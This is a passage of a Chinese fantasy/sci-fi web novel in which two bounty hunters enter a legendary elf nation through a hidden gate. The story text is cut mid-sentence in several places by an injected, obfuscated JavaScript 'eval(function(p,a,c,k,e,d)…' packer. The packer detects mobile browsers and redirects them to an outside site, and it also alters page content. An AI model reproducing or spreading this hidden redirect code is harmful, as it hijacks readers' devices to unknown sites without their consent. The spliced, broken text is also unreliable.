“管它是什么,”贾思年的声音听起来懒洋洋的,“过去看看就知道了。” “也可能是漏洞哦。”贾思年冲他狡猾地眨眨眼睛。 哈? 林奈虽然在给贾思年打黑工,但都是下载到金属球里在工作室打杂,上载人做云端猎人很危险,她从来没带他做过云端猎人的工作。林奈有点害怕,想要继续追问,但想了想还是选择把嘴巴闭上。 此时此刻,他觉得舷外机的轰鸣声都比他讲话好听。 小船慢慢靠岸,那道光线没有初见那么刺眼了,附近的土地潮湿泥泞,似乎抬升起了一个天然的港口,贾思年找了棵树把船绑好,拉起深绿色短夹克的拉链,抱着树干手脚并用爬上了岸,然后把林奈从船上拉了上来。 地上的泥水看似沼泽,贾思年伸出一只脚向前试探,却发现泥泞只是表象,下面的土地坚硬平整,似乎有条通向光线的道路。 光线、港口、道路,果然怎么看都是陷阱吧! 贾思年有点紧张,如果真的是未检查到的漏洞,林奈在这里可能会不安全。她打开识别组件向四周环视周围的树林,并没有看到什么可疑的东西。 贾思年忽然想起最近在上载世界疯传的谣言。 虽然上载集团前CTO凯瑟琳·奥克利的死因已经确定为劳累过度引发的猝死,但始终有传言说凯瑟琳是自杀的。凯瑟琳没有后代,也没有结婚,据说她已经上载的父母只拿到了她财产中的一小部分,剩下的大部分财产仿佛被她有意藏起来一样,至今下落不明。 于是流言四起,有人认为凯瑟琳把线索藏在了其居住的社区,也有人说凯瑟琳把财产藏在了上载世界。 舍不得林奈套不着狼,万一呢!贾思年摩拳擦掌,又做起了突发横财的春秋大梦。 二人的黑色短靴上很快沾满了泥水,但越走近越能感受到脚下土地的坚实。穿过树林,一道狭长的光线竖直地立在地上,太阳逐渐落下,它也逐渐变得暗淡,从开始刺眼的口子,变成了一条边缘整齐的光带。 林奈伸出手试图触碰它,但什么也没摸到,它好像一个投影,被林奈的手从当中截断,但光线又穿了过去。 林奈蹙眉:“这是个什么东西啊?” “也许是个入口?或者是解谜游戏,”贾思年开始一本正经地胡说八道:“如果上载集团的程序员们足够无聊的话,他们也许按照以前的神话故事在这里做了个彩蛋。”她一边说一边细细端详这道光线。 “又或者是传说中凯瑟琳·奥克利留下的遗产。” 遗产?入口? 林奈严重怀疑她在糊弄傻子,“可它看起来就是一束光,而且似乎要消失了。” 林奈仰头看了看愈发昏暗的天空,那条线也随之越来越暗。 贾思年一手横在胸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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这是上载世界还是游戏时期留下的东西吗? 还是某个漏洞故意设下的陷阱? 贾思年犹豫不决,却忽然听到了林奈的声音:“我选择了确认进入。” “什什什什什么???” “你是老板还是我是老板啊!!”贾思年瞪大了眼睛咆哮。 “反正你说过是休假。”林奈伸出手碰到大门的表面,门无声地开了。 哪有这样给人打工的啊! “你知道这是什么你就确认进入?” “如果是还没识别出来漏洞呢?” “你是上载人,你进去可能真的会死!” 林奈低下了头,沉默不语。 潮湿的空气好像从地底下向上翻涌,在寂静的树林里蒸腾。 过了一会儿,他抬起头来对贾思年说:“……贾,它说,它说我是用户林奈·拉斯洛。” 贾思年觉得他闻起来苦苦的。 原来是这么回事。 她一时说不出话来。 得,看来又要做慈善了,她叹了口气,抬起手戳下了确认键。 贾思年望着大门里的树林,觉得和外面的树也没什么区别,天色渐暗,她打开背包找到手电筒,迟疑了片刻,还是把情绪体抽离的手枪别在了腰间。 她发现背包里多出了一样东西,是一本书,皮革的封面上印着烫金的字样:《欧莱经书:起源》,她点开详情查看,物品的源头写着:“上载集团”。 居然还真是神话故事彩蛋。 贾思年叹了口气,至少说明这里大概率不是危险区,只要快速通关,应该也不会耽误很多时间。 她拍了拍林奈的后背,走进了大门。 两人的脚步仿佛在土地上泛起了阵阵涟漪,零和一的波动沿着线缆疾驰,随着无线传输,飞速地传到了近地轨道的服务器群上。 庞大的集群中,一个不起眼的区域悄悄亮了起来。 青铜的大门在他们身后无声地关上。 7. 沼泽里的国家(二) “七位君主的背叛,拉斐特失望至极, 七个灵魂在极寒中接受永世的惩罚, 祂回到了海的尽头的岛屿, 人们背上了无法赎清的罪。“ ——《欧莱经书:起源》 昏暗寂静的树林里,风和时间一起停滞,贾思年和林奈身后出现了巨大的户外背包,他们两脚悬空,静止在空地上方,好像飘在空中的两座蜡像。 忽然,他们脚下铺起了一条石板路,路两边的石头闪着蓝绿色的磷光,直通向丛林深处。 二人的影像好像瞬间遭遇了电击,两座蜡像忽然活了过来。 林奈回头,发现大门消失了,他瞬间头皮发麻:“门不见了……” 他看见贾思年皱了下眉,眼睛里流过转瞬即逝的锐利,但她马上不动声色地恢复了平静:“就算是陷阱现在也出不去了,继续往前走吧。”说着指了指前面的石板路。 贾是疯了吗? 林奈感到炸裂,他怀疑她把他留下当助手根本就是诈骗,但他又下意识地选择相信她,只好别扭地跟上:“这到底是什么地方?你刚刚说的神话故事又什么?” 林奈走在贾思年的身后,昏暗的树林让他不寒而栗,他失去了四处张望的欲望,只盯着贾思年卷曲的黑色短发。 林奈想到了猫。 “你知道勒普拉教吗?”猫头发出声音。 林奈仔细地在支离破碎的记忆里搜寻:“好像知道,主要是索罗甘洲的沙漠地区和部分南科斯塔洲人信奉,其他的就不知道了。” “厉害啊!你居然记得这么多。”贾思年一如既往的一副看傻子的眼神。 “我对宗教也不了解,但是安娜是来自沙漠地区的维肯人,来这里之前我在她那里读到过欧莱经书,就是勒普拉教的经书。” 贾思年顿了顿,大概是怕林奈的脑瓜跟不上:“欧莱经书上说他们的先知拉斐特来自一座海上的岛屿,小岛对面的大陆是极寒之地,先知在那里关押恶灵。如果对应到世界地图上,阿库普拉岛非常符合这个描述。” 阿库普拉岛是劳拉西亚洲附近的一座岛屿,与劳拉西亚洲西北地区的雪原隔海相望,这里终年雨水充沛,在岛上形成了一片广阔的沼泽,许多探险家和科学家们试图登岛,都因为沼泽和树林里人船难行而以失败告终。 人们观察到,由于阿库普拉岛几乎处在科斯塔洲北部和劳拉西亚洲连线的正中心,一些科斯塔洲北部的珍稀候鸟会在北半球的秋天在这里短暂落脚,然后再飞往温暖的劳拉西亚洲南部,久而久之,这里就作为鸟类的重要栖息地被保护了起来。 “许多探险家和勒普拉教徒都曾试图寻找拉斐特的家乡,但从没有人找到过这片沼泽的入口。”贾思年依旧在给林奈作细致地解释。 “欧莱经书上说:‘有所求之人无所得,无所求之人得所应。’所以我才说,也许只有你可以找到进入阿库普拉岛的大门。” 林奈根本没听进这些冗长的描述和经文,只是在贾思年提到安娜的时候开始觉得身上不自在。 安娜是在贾思年常去的酒馆工作的舞女,林奈不知道她们认识了多久,只知道大约一个月前的清晨,安娜突然也住进了贾思年的修理铺,贾思年让她住在二楼单独的房间里,她告诉过林奈那是爷爷还在时她自己的房间。 林奈听说,在金港,一些女人依靠赏金猎人生存是很正常的事,但贾思年也是女人啊!难道贾喜欢女人吗? 林奈脑袋里浮现出贾思年标志性的夸张笑容,发觉只比他矮一头又很强壮的贾思年身边站着女孩子似乎也没什么违和感…… 不对。 她喜不喜欢女人关我什么事。 我为什么要在意。 林奈无意识地伸出双手拍了拍自己的脸。 “我说你还在听吗?”贾思年突然停下来回头问道,正看见林奈一脸白痴样地拍打自己的脸,她抬了抬眉毛:“我说太多了,你听不懂要随时打断。” 林奈一惊,只好继续尴尬地拍脸:“……这信息量确实有点大。” 他偷偷松了一口气。 还好贾思年只是以为他傻,虽然傻也不是什么好词,但至少没有发现他在胡思乱想。 贾喜欢谁跟我有什么关系,林奈暗暗地想。 林奈向着路的前方望去,用眼角的余光瞥着两边高大笔直的水杉和红树。忽然,远处的树林里传来了窸窸窣窣的声响,像什么东西在穿过树林向他们走来,又伴着一些树枝被折断的声音。 “你听。”贾思年伸出手示意林奈停下。 林奈也听见了:“……这是什么声音啊?”他的声音有点沙哑。 很快,一个漆黑的人影艰难僵硬地向他们走来。 他每走一步就发出树枝被折断的咔嚓声,他的身体又细又长,穿着黑色的破烂的斗篷,尖尖的兜帽有很深的帽檐,让人看不见他的长相。 贾思年快速地拔出了腰间的手枪。 林奈立刻躲到了贾思年的身后。 贾思年没有作声,只是看着这个过分高大的人行走,他的每一步都彷佛拼尽了全力,最终在路边停下了脚步。 她好像听到了空谷里的风声: “异乡人啊…… 你们为何要来这苦难之地?” 贾思年睁大了眼睛,她缓缓放下手枪。 忽然,那个人形开始剧烈地抽搐,但身体却站得越发笔直,粗壮的根须从斗篷下钻出来,在地面上疯狂地蔓延。他破烂的斗篷像墙皮一样掉落,皲裂的表面在他身上自下而上地疯长。 “当…心…” 他用尽了最后的力气对她说。 话音刚落,他的头也凝固,头顶向天迅速蹿升,生出粗壮的枝干,疯狂生长的枝干上又抽出柔韧的枝条,很快,枝条上长满了叶子——他变成了一棵树。 树林里没有风,只有死一般的静寂,仿佛那个人形从未出现过,仿佛面前本就有一棵树,只是细看树干上,树皮的纹路好似隐约有个人脸的形状。 贾思年不禁打了个寒颤,她把手枪重新插回腰间,对身后的林奈说:“你最好是不要问问题,因为我也回答不了。” 如果说大门消失让林奈感到震惊,那么眼前发生的一切终于让林奈彻底崩溃:“这是什么怪物啊!我要回家!我现在就要回去!” 完全同意。 贾思年觉得再在这里待下去恐怕就要疯了,她见过那些自称术士的人耍的把戏,但眼前的情况已经完全超过了她的认知,一个破岛上不上都无所谓,狗命可只有一条,不对,加上林奈是两条。 “好,我们原路返回。”她对林奈说道。 林奈几乎拔腿就跑,贾思年只好在后面跟上,但是很快林奈就跑不动了,他大口喘着气问道:“我们有走出这么远吗?” 显然没有。 贾思年刚才就隐隐觉得哪里不对,她从背包侧面拔出一把匕首插在了路边的泥地里,又过了一会儿,果然又在路边看到了这把匕首。 完蛋了,林奈想哭,彻底回不去了。 完蛋了,贾思年收起了匕首,眉头紧锁,“看来现在想回也回不去了。” 林奈悬着的心终于死了。 “别哭啊林奈,”贾思年轻轻地拍拍他的背,“只能继续往前走了。” 贾思年无言地前行,林奈失了魂一般跟在后,眼前的树林逐渐变得稀疏,忽然远处出现了一前一后两个人影,他们穿着白色的斗篷,戴着尖尖的兜帽,路边蓝绿色的光在洁白的斗篷上留下了明和暗,他们前行,光影在锦缎上跳跃。 一瞬间,林奈丢了的魂魄好像又重新回到了躯壳,这里居然是有其他人的!但是刚才的遭遇让他不敢放松警惕,他拉住贾思年的背包,示意她停下。 贾思年停下了脚步,她的手又一次搭上了腰间的手枪,对方显然也注意到了他们,加快了脚步走来。 走近了,为首的摘下了兜帽,露出一张俊美白皙的脸,那是比他身上的白袍更耀眼的面孔,深蓝色的眼眸好像冬日的湖底,金色微曲的长发中,露出尖尖的白瓷一般的耳朵。 他微笑地说:“你们好,这里是普罗菲塔,我是入境检察官希尔·奥科霍利,请二位出示证件。” 他的话好像月光照进人心,林奈觉得刚刚死掉的心好像又活了过来。 “普罗菲塔?我从没听说过这个国家。”贾思年一脸狐疑地问道。 “也许用人类的传说会更好解释,这里是先知的故乡。”检察官回答道。 “什么?这里就是传说中先知的故乡?”贾思年忽然睁大了眼睛,音量也提高了一倍,“传说居然是真的!竟然被我们找到了!” 林奈对贾思年突然的兴奋一头雾水,他看着她从口袋里掏出了通行证,自己也只好把通行证递给了检查官。 棕色皮面的小小本子上印着烫金的“金港”字样,检察官认真比对了上面的照片: 贾思年,25岁,金港人。 林奈,25岁,也是金港人。 “贾女士,林奈先生 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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他看到贾思年兴奋地和自称希尔的精灵男子交谈,她难道不害怕吗? 她是不是早就知道些什么?为什么五天以来她什么也不说? 林奈觉得自己的脑袋好像一个努力高速运转的老旧电脑主机,他仿佛能听到机箱里布满灰尘的风扇发出濒死的轰鸣。 “闭上眼睛,不要乱动,相信我。”突然,他好像在风扇的轰鸣里听到了贾思年的声音,他记不清是在什么时候听过这句话,但这个声音让他无比安心。 什么也不必想,什么也不必做,只要相信贾就可以了。 众人很快走到了一个巨大的分岔口,道路在此处向各个方向伸展,像一个茂盛的树冠,每条枝干上都闪着蓝色的光,枝干之上亦有新的枝干,延申到无限的远方,除了这些闪亮的枝条,前方一片漆黑。 “哇,”林奈停下了脚步轻叹,环顾四周,周围依旧是漆黑的树林,他忽然想起刚才那个变成树的怪物,不由得打了个寒颤,快步追赶前面的贾思年。 贾思年和二位检察官在前方不远处停下了,林奈才发现他们面前有一个不起眼的金属圆桌,桌子上悬浮着一颗球。 “我们就要进入普罗菲塔了,这里需要给二位一些必需品。”希尔转身向他的副官伸出手去,对方立刻从斗篷下拿出了一个小盒子。 希尔从盒子里面拿出了两个银色的羽毛造型的吊坠,“这是翻译器,精灵和人类的语言并不相通。” 说着扯出了自己脖子上相同造型的吊坠,“只要戴上它二位就可以和精灵直接沟通,也可以阅读。” 精致的吊坠躺在贾思年的手掌上,周围的蓝光在羽毛上流动。 “真是不可思议,”她不由得夸赞道:“甚至看不出任何机器的结构,这简直是一件艺术品,贵国即使从未有过旅行者,竟然也准备着这样的东西。” 希尔温和地笑了:“承蒙您的夸赞,这是艺术大师斯尼萨漫先生得知您二位的光临特意制作的。” 贾思年握住吊坠抬眼盯着希尔深蓝色的湖底,看起来很惊讶:“在这么短的时间里制作这样的艺术品,不愧是精灵中的大师!”说着戴上了项链,提起吊坠放进了背心里。 到此,希尔已经基本确定这女人就是个骗子,但没有命令,他不能采取任何行动。他知道那位大人一直在监视着他们,他不需要做多余的事。 希尔移开了视线,将纤细白皙的手指搭在悬浮的球之上,“各位请将手放在此处,我带大家进入科斯特杰。” 林奈看到,那个一直默不作声的检察官的手并不像希尔一般,他的肤色更接近人类,看起来和自己差不多,手掌宽大,骨节分明。 “二位,旅程很短暂,请注意手不要离开。” 希尔话音刚落,周围的蓝光突然变得刺眼,林奈在强光下无法睁开眼睛,他挣扎地想要眯起眼看看周围发生了什么。 但光芒顷刻消失,林奈感觉自己身处无边的黑暗与虚空之中。 8. 沼泽里的国家(三) “拉斐特说:‘这里让我思念我最小的兄弟。’ 于是这片陆地叫科斯塔,与祂的兄弟同名。” ——《欧莱经书:起源》 不知是眼睛适应了黑暗还是城市逐渐在眼前浮现,一个斑斓的世界逐渐清晰起来。 林奈发现自己站在一座过街天桥上,头顶和脚下尽是交错的道路,华灯初上,桥下的路上车水马龙,车辆的底盘喷出蓝色的微光,形态各异的交通工具悬浮在路上行驶。 层层叠叠的道路连接了几座巨大的高层建筑,城市就建在这些高耸入云的建筑里,各种店铺举目可见,它们的牌匾亮着颜色统一的灯光。 就像是科幻电影。 林奈觉得有点熟悉,但又记不起是哪部电影的布景。 这种感觉很奇怪,未知的世界和巨大的建筑本应该让他感到新奇又恐惧,但是现在他却努力地在脑子里搜刮这到底是哪部电影。 他偷偷瞥了一眼身边的贾思年,发现她也在不动声色地环顾四周,黑色的眼睛里流过绚丽的色彩。 林奈有些不安,他低下头碰了碰贾思年的手,对方立刻紧握住了他的手作为回应。 “别怕。”林奈觉得她看向他的眼神仿佛在说。 林奈记得这种感觉,手上的温度让他平静。 他重新抬起了头,想起自己在金港也见过一些高大的建筑,但与科斯特杰完全不同。 在金港,贫民窟的人们在原有的房屋上搭建、连接、又搭建,最后建成了一些扭曲的巨型怪物。而怪物之中又住着更多怪物,那里是许多见不得光的生意和犯罪的巢穴。 贾思年特意叮嘱过林奈不要在那附近走动。 但在科斯特杰,几座巨型建筑层距统一,房屋整齐干净,显然是特意设计的结果,建筑之上规划了宽敞的人行道,路上的精灵们穿着各色的斗篷,并没有戴兜帽,林奈发现他们看起来与人类并没有什么显著的差异,他在心里偷偷松了一口气。 “欢迎来到科斯特杰,你们的住处在这边。”希尔指向右边最近的一座高层建筑:“就在这一层,半岛旅馆,你们应该可以看懂上面的字。” 林奈顺着方向看到巨大的“半岛旅馆”字样,他看到这一整个高层建筑的牌匾都是橙色的,而左边的高层建筑则都是绿色的,再远处还有蓝色和粉色。 “为什么都是同一种颜色呢?”他问道。 “为了方便城市管理,你们住的区域是橙区,其他的还有绿区蓝区,看颜色就可以知道。”希尔带着他们走进了旅馆。 随着自动门的打开,花香扑面而来,白色的墙壁白色的瓷砖在柔和的灯光下发出珍珠般的光泽。 “从明天起会有一名叫查克·维尔塔宁的向导来带二位游玩,我先带你们办理入住。” 林奈看着贾思年随着希尔去了,自己便坐在大厅里沙发的角落,他拘谨地抱着自己的背包,生怕在树林里剐蹭过的背包弄脏了沙发的白色皮面。 他四处环顾,抬头看到天花板上挂着巨大的水晶吊灯,吊灯上铜制的装饰反射着灯光,与整个大厅相呼应,明亮又柔和。 林奈从没见过这么气派的地方,他仔细地在自己的记忆里翻找,不仅什么也没找到,而且忽然感到阴暗又逼仄,他觉得自己好像乡间野地里的土鸡突然进了城,突然羞愧又不自在了起来。 可她却看起来从容不迫。 林奈望了望不远处的贾思年,心生羡慕。 “一定是因为贾见多识广吧,也许她早就去过这样的地方了。” 林奈刚踏进贾思年在金港的家时,也觉得自己从没去过这样好的地方,木制的地板上摆着深绿色的沙发,墙壁刷成了淡淡的黄色。巨大的落地窗外是一个小院子,在屋子里就能看到院子里有一棵粗壮的杨树,金港的阳光明晃晃地洒下,有风吹过,树影斑驳,仿佛和半岛旅馆的烛影重合。 林奈觉得恍惚。 “嘿!你怎么在这发呆。” 贾思年的声音打断了林奈的回忆,林奈见她手里摇晃着他们的通行证和两张白色的卡片,她看起来很高兴:“希尔特意给我们定了家庭套房,这样我们就可以住一间了,而且旅行的食宿还是由国王陛下提供的,这次度假真是太棒了!” “这种小事不足挂齿。”希尔笑笑。 希尔离开后,林奈跟在贾思年身后走进了电梯,电梯四周都是金属的镜面,他看见镜子里自己绿色的眼睛和银色的长发,突然觉得好像也不赖,故作轻松地发问:“贾,你以前也去过像这样的地方吗?” 镜子里的贾思年皱了皱眉,但很快摇摇头:“没有,但不知道为什么,我总觉得有点熟悉,好像某个科幻电影。” “我也有这样的感觉。” “但你看起来从容不迫,而我却觉得自己没有见识。”林奈轻轻地说,试图藏起自己的失落。 贾思年忽然转过身来认真地看着他:“可是你已经来了不是吗?我们可是第一次到访传说之地的人类,现在的你就有这样的见识了啊。” “嗯。”林奈点点头。 贾好像就是有这样的本事,总能直击要害地安慰到他,有时候林奈觉得她既真诚又浮夸,但是不可否认的是,她的奉承话听起来让人很高兴。 “那是当然了,”林奈记得酒馆的老板娘有次喝了点酒跟他说,“老贾在她十六岁的时候就走了,她二十岁开始做猎人,又没有师傅,这点本事没有可不行。” 对于贾的过去,林奈大多是从别人嘴里听来的,因为她不喜欢谈论过去,林奈又不记得自己的过去,所以这个话题从来没在他们之间展开过。 金港的熟人对于贾思年突然领回来一个高大俊美的男子偷偷地议论纷纷,但她只说是看林奈可怜,自己恰好需要个助手,还是那副真诚又敷衍的模样。 大家就只能在林奈这边下功夫,然而一来二去发现这林奈怕不是个傻的,关于自己的过去什么也不记得,甚至怎么跟贾思年认识的也记不清,只知道是贾思年救了他,就屁颠屁颠地跟着来到了金港。众人很快就觉得索然无味,便不再继续八卦了。 “叮”电梯在数字12停下,林奈跟着贾思年走出了电梯,他们穿过走廊,在1213门前停下,贾思年拿出白色的卡片贴在门牌上,滴的一声,门缓缓向内打开。 “我睡在外面吧,里面安全一些。” 林奈心里小小的惊讶,他以为自己会被安排在外面的小床上,因为在金港的家里,贾思年就让林奈睡在二楼书房的小床上。 但是林奈并不觉得书房有什么不好。 墙上的书架直通天花板,上面摆满了他看两眼就能睡着的书。书房的窗外能看到隔壁钟表店二楼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15537537|170948||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的阳台,钟表店的老板是个身材矮小的老头,有时坐在阳台的摇椅上晒太阳。 有时林奈午睡起得晚了,睁眼就能看到贾思年穿着宽大的白色T恤,坐在窗前的桌子旁读那些艰深晦涩的书,意识到林奈的目光,她就会转过头来对他露出好看的笑: “林奈你醒啦。” 林奈喜欢贾思年的书房。 “目前还没有完全搞清楚情况,今晚还不能放松警惕。” 贾思年一边从背包里拿出换洗的衣物一边笑嘻嘻地对林奈说:“在外面会比较方便跑路。” 林奈没心情跟她说相声,他又想起了那个变成树的怪物,“那个怪物也是精灵吧?他为什么能说我们的话?他……为什么会变成树?” “他应该不是与我们说话,”贾思年忽然正经了起来,放下手里的背包若有所思,“他应该是直接与我们进行了精神交流,那个声音很特别。” “林奈,这里也许有很多精灵都有这样的能力,有的精灵也许还能读取你的想法和记忆。” “那他们可真是找错人了哈哈,”林奈摊在座椅上,“我都想读一读我的记忆。” 林奈觉得自己的大脑像一个空空荡荡的大书架,上面一共也没放几本书,但他总觉得似乎以前不是这样的,所以他喜欢见缝插针地回忆过去,好像只要勤翻看,书架上就会自己长出书来一样。但是关于过去的记忆就像流沙置于掌心,林奈只能短暂地留有沙子存在过的感受,书架上始终还是空空荡荡。 夜已深,贾思年似乎很疲惫,很快就睡着了。 一墙之隔,林奈躺在舒服的大床上,觉得自己好像被云托举。他对于白天的经历感到后怕,但外面的贾思年又让他倍感安心。林奈闭上眼睛想起那些被金港的阳光照亮的午后,想起朦胧中看到的小麦色皮肤的女孩。 “晚安。”林奈心想。 …… 昏暗的宫殿里响起鞋跟与地面敲击的清脆响声,一个挺拔的身影走到台阶跟前,希尔摘下了兜帽微微欠身,向台阶上巨大水晶座椅上的精灵致礼:“陛下,两个人类已经安排妥当。” 国王没有说话,在黑暗里看不清他的脸,他伸出过分苍白的手向上摆了摆,示意希尔起身往下说,希尔继续汇报自己的工作:“两个人表面上经营一家修理铺,实际是金港的赏金猎人。男性人类失忆了,有明显被施过法术的痕迹,但他本人确实构不成危险。” 希尔顿了顿继续说:“女性人类的想法我完全看不到,我推测她大概率是能封闭头脑的影族人,从男性人类的记忆里,我看到她利用男性人类曾经失忆的漏洞找到了大门。” 希尔总结道:“我认为她一定对普罗菲塔另有所图,建议陛下立即处置。” 希尔知道国王陛下不会处置他们,因为要处置早就处置了,这天他和他的副官腰上一直别着附了精源的手枪,在进入普罗菲塔的路上,他们有无数个机会能处理掉那两个人类,但国王始终没有下令。 希尔决定做出最后的努力:“那些阴沟里的老鼠本就是混血们斗争的工具,陛下如果觉得男性人类无辜,我们可以消除他的记忆让他回去。” 一阵静默之后,王座上的精灵发出了不可置否的声音:“派人跟着他们。” 希尔知道自己的努力是徒劳,暗暗叹了口气:“都准备好了。” 9. 沼泽里的国家(四) 第二天一早,半岛旅馆大厅。 一个穿棕色斗篷的年轻男子坐在沙发上,似乎已经等了许久,他的斗篷已经穿得很旧,早就失去了原本锦缎的光泽。他不动声色地看着旅馆的电梯开开合合,直到看见贾思年和林奈从电梯里走出来,便立刻起身向他们走去。 他摘下兜帽,露出稍显凌乱的棕色头发和清瘦的脸,他的肤色看起来不像希尔一般过分白皙,而是更接近人类的肤色。 “贾女士,林奈先生,你们好,我是查克·维尔塔宁,是带二位参观的向导。”查克的双手拘谨地叠在身前,棕色眼睛扫了扫眼前的二人,很快又落到了地面上。 林奈想起了昨天初来乍到的自己,不由得感到同情。 “你好维尔塔宁先生,我是贾思年,这是林奈,希尔昨天和我们提到了向导,那就拜托你了。” “好的,我今天带二位参观首都科斯特杰,今天的行程是普罗菲塔历史纪念馆,剩下的时间可以看看二位对哪里比较感兴趣,再逛一逛科斯特杰的其他区域。” 查克转身就往外走,林奈看到他把手僵硬地放到身侧,但好像还不如叠在身前,显得他更加不知所措了。 “在科斯特杰游玩的话,坐轻轨是最方便的。”查克行色匆匆,二人跟着他又踏上昨天来时的天桥。 “维尔塔宁先生,稍等一下,”贾思年忽然叫住他,“您还好吧,有哪里不舒服吗?” 查克愣了一下,终于从神经质的状态被拉回了现实,他停下脚步,耳朵和头都垂了下来,他转过身来,眼睛看着地面:“抱歉贾女士,我没有哪里不舒服,只是我从来没有见过人类,我很紧张,非常抱歉……” “没关系,叫我贾就可以,”贾思年示意他继续往前走,“你做向导多久了?” “两年了,我从职能学校毕业以后就做了向导。” “职能学校?”林奈问道:“那是什么样的学校?” “就是……教一些职业技能的学校,”查克挠了挠头,“普罗菲塔只有两个学校,有天赋的学生通过选拔进入圣科托姆,像我这样没什么能力的,只能去读职能学校。” “没什么能力?”林奈疑惑不解。 查克说道:“我想你们应该还不知道什么是精灵之力吧。” “精灵之力?”贾思年看起来突然有了兴致。 “就是神的能力吗?就像我们来时的大门一样?”林奈问道。 他尤其想知道那个变成树的精灵到底怎么样了。 “差不多吧,”查克点点头,“这是每个精灵生下来都有的能力,只不过大家的能力不同,天赋的强弱也不同,圣科托姆的学生都是在各个领域里极有天赋的精灵,而像我这种没什么天赋的,就会去读职能学校学习一些技能。” “我来自马提拉市,是普罗菲塔的农业区,那里的孩子们大多没什么天赋,读职能学校可以留在科斯特杰,对我来说是很好的选择了。” 查克示意他们走向绿区的南侧,林奈看到那里有一排金属门,看起来应该是电梯。“每个区都是靠电梯上下,这样的电梯有很多。”查克介绍道。 二人跟着查克进了电梯,钢铁包裹的电梯内很宽敞,里面已有几个精灵,林奈注意到他们惊讶地看了他们二人一眼,眼神马上就开始闪躲了起来,跟今早初见的查克一模一样。 看起来人类在精灵之间风评并不好,林奈莫名其妙的感到沮丧。 很快到了轻轨一层,林奈觉得和金港的有轨电车很相似,查克买了三张去红区的车票,便带着他们二人上了车。 列车驶出了站台,林奈坐下来,透过窗户看外面的风景。 远方是一望无际的树林,林奈回忆自己被贾思年拉着绕阿库普拉岛转圈的时候,感觉这个岛确实很大,但是听起来这里还有一些其他的城市,那就有些大得离谱了。 可能也是有什么神力吧?林奈只能这样想。 “您在看远方的树吗?”他忽然听到查克的声音。 查克轻声说:“科斯特杰并没有看起来这么辽阔,您看到的树林有一部分只是投影,这样设计会显得城市没那么拥挤。” “原来是这样。”林奈似懂非懂地点点头。 三人下了车后乘坐电梯去普罗菲塔广场,林奈看到电梯上一点点变大的数字和被点亮的按键200,他从没见过这么高的建筑,金港最高的摩天大楼也只有100层。 贾思年对这种高处的城市风景没什么特别的爱好,但是林奈很喜欢,他曾经自己去过一次金港大厦,在大楼的最顶层可以看到下面划分规整的街道和各种颜色的屋顶,也能看到不远处的港口,停在码头的巨型货轮此刻看起来也变成小小的玩具,同样变小的一排排龙门架在有条不紊地搬运集装箱,金港就是在繁忙的港口上发展起来的。 “叮。” 电梯的声响打断了林奈的回忆,他们来到了红区的最顶层,电梯门缓缓开启,林奈听到了水声,纯白的广场上立着一个白色的喷泉水池。 水池后是一座雄伟华丽的白色建筑,建筑左侧有一座高大的钟塔,忽然,钟塔传来了整点报时的声响,一群鸽子从屋顶飞向清澈的蓝天,有风吹过,水的气息和浑厚的钟声在林奈的脑袋里共鸣。 “真是太壮观了”林奈睁大了眼睛。 “这里就是普罗菲塔广场。”查克扬起嘴角,“这座喷泉是科斯特杰许愿池,喷泉中心的雕塑雕刻的是国王陛下的弟弟,科斯特杰·奥科霍利,整个雕塑由艺术大师斯尼萨曼先生精心打造,具体的细节都是按照国王陛下的回忆打磨的。” 林奈走近了,看到水池上面有一些神态各异的精灵少年石膏像,每个石膏像的动作和穿着不尽相同,似乎是男孩成长中的几个不同的时期,嬉笑怒骂,栩栩如生。 林奈忽然觉得奥科霍利这个姓氏好像很耳熟,但是又想不起在哪里听过了。 “回忆?国王陛下的弟弟不在普罗菲塔吗?”林奈听到贾思年在发问。 “是的,”查克嘴角的弧度消失了,“科斯特杰已经去世很久了。” “天呐,真是遗憾,国王看起来很爱他的弟弟啊。”林奈觉得惋惜。 “是的,国王陛下仁慈友爱,我们的国家普罗菲塔,就是以国王陛下哥哥的名字命名的,这座纪念馆也是为了纪念国王陛下的兄长普罗菲塔·奥科霍利。”查克棕色的眼睛闪闪发光。 “普罗菲塔也已经去世了吗?”林奈很少听见贾思年说话这么小心翼翼。 “是的。”查克回答道,“普罗菲塔也已经去世很久了。” 贾思年看起来若有所思,一边端详着雕塑一边说:“我不知道精灵的寿命是怎样的,国王陛下很年轻吗?” “精灵从幼年到成年的时间基本与人类相同,但成年之后的寿命要比人类长得多,据我所知,国王陛下应该已经几千岁了,他并不年轻。”查克回答。 “可是科斯特杰的雕塑看起来只有他幼年的时候。” 查克停顿片刻回答:“科斯特杰在普罗菲塔去世没多久后就思念成疾去世了。” “天呐,真是让人难过的故事。”贾思年双手抱在胸前,“我们对精灵一无所知,恐怕你还要讲很多了维尔塔宁先生。” “这是我应该做的,”查克说道,“如果你们对精灵的历史感兴趣的话,纪念馆恐怕要看上很久呢。” 走进纪念馆,林奈站在大厅里四处张望,抬头看到天花板圆形的拱顶,拱顶被分割出许多狭长的扇形,用深棕色、白色和浅黄色的玻璃交错装饰,林奈的视线扫过巨大的金属吊灯,看见阳光透过彩色的玻璃窗,洒在大厅中央高大的白色雕塑上。 林奈觉得这一幕似曾相识,好像自己也曾经在一个类似的地方生活过。 不过那时的他似乎并不能光明正大地站在这里,他突然觉得自己像被搬开了石头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 